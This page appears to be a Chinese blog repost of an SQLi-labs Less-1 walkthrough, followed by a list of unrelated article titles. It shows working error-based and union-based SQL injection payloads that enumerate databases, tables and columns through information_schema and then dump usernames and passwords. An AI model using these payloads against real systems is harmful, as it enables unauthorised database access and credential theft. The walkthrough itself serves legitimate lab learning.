当前位置:网站首页>SQL labs SQL injection platform - level 1 less-1 get - error based - Single Quotes - string (get single quote character injection based on errors)
SQL labs SQL injection platform - level 1 less-1 get - error based - Single Quotes - string (get single quote character injection based on errors)
2022-07-27 07:42:00 【Big white】
Remember to php.in Escape parameters in magic_quotes_gpc configure Off:
Otherwise, the symbols in the sent request parameters will be added \ escape , Therefore, it cannot be directly spliced to SQL Go in the statement
Less-1 GET - Error based - Single quotes - String( Based on error GET Single quote character Injection )

The first level prompts us to enter ID As parameters and values
Inquire about id=1:
Shows
Your Login name:Dumb
Your Password:Dumb
Inquire about id=1’
There is an error , Output 1’ Spliced into ’1’’ LIMIT 0,1
limit 0,1, From the number in your watch 0 Data start , Read only one
Inquire about 1’ and ‘1’='2
No results
Inquire about 1’ and ‘1’='1
Normal return result
It is proved that the query results can be successfully spliced
Inquire about 1’ or 1=1; --+ All data in the table can be returned
SELECT * FROM users WHERE id='1' or 1=1; -- ' LIMIT 0,1

But in the source code mysql_fetch_array Function gets only one row from the result set at a time as an associative array :
So only one row of data will be displayed on the front end at a time
Next, let's query how many columns of data there are in this table , First, return the result according to 1,2,3 Column sorting :
Inquire about
1' order by 3;--+

All return normally , Prove that there are at least three columns of data in the table
Inquire about
1' order by 4;--+

No first 4 Column , Explain that there are only three columns of data in the table
So let's use union Join query to find the data in the table
Inquire about
0' union select 1,2,3 --+

Inquire about 3 Column return data , Only 2 and 3, It means that our injection point can only be 2 and 3
2、 Guess database
Query the current database name
0' union select 1,database(),3 --+

The current database name is security
You can also view the names of all databases :
0' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

Get the names of all databases :information_schema,challenges,mysql,performance_schema,security,sys
3、 Guess database tables ︰
Then check security Table name under database
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

obtain security Table name under database :emails,referers,uagents,users
4、 Guess fields
see users What fields are there under the table
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users" --+

Next, we can read the values of user name and password
id=0' union select 1,group_concat(username),3 from security.users --+

Read the value of the password :
id=0' union select 1,group_concat(password),3 from security.users --+

Successfully read the field value in the database
边栏推荐
- 【QT】capture. Obj:-1: error: lnk2019: unresolved external symbols__ imp_ Htons (solution)
- C common function integration-2
- Flink1.14 SQL basic syntax (I) detailed explanation of Flink SQL table query
- ClickHouse 笔记1 | 简介、特点 | 基于CentOS7系统的安装与使用 | 常用数据类型 | MergeTree 表引擎 | SQL操作
- A small cotton padded jacket with air leakage
- 单元测试系统化讲解之Mockito
- DASCTF2022.07赋能赛密码wp
- Temperature and humidity measurement and display device based on Arduino
- RPC remote procedure call
- Panabit SNMP配置
猜你喜欢

连接MySQL时报错:Public Key Retrieval is not allowed 【解决方法】

Installation and use of apifox

C common function integration-3

Systematic explanation of unit testing: mockito

flink1.14 sql基础语法(一) flink sql表查询详解

Plato farm is expected to further expand its ecosystem through elephant swap

【StoneDB Class】入门第一课:数据库知识科普

安装tensorflow

基于Arduino的温度、湿度测量显示装置

【已解决】单点登录成功SSO转发,转发URL中带参数导致报错There was an unexpected error (type=Internal Server Error, status=500)
随机推荐
Resttemplate connection pool configuration
Mysql: increase the maximum number of connections
Synchronized lock
Pg_ relation_ Size question
Using soci to connect Oracle with PostgreSQL and SQLite on rhel8
什么是真正的 HTAP ?(二)挑战篇
正则表达式基础整理
Shell functions and arrays exercises
Turn off the auto start function of Oracle service in centos7
Understanding and learning of node flow and processing flow in io
Shell loop exercise
DASCTF2022.07赋能赛密码wp
STM32_ Find the cause of entering hardfault_ Handler's function
opengl-shader学习笔记:varying变量
LeetCode56. 合并区间
Clickhouse notes 1 | introduction, features | installation and use based on centos7 system | common data types | mergetree table engine | SQL operation
Cadence(十一)丝印调整和后续事项
电子量产项目框架--基本思想
ADC噪声全面分析 -02- ADC 噪声测量方法和相关参数
drawImage方法第一次调用不显示图片的解决方式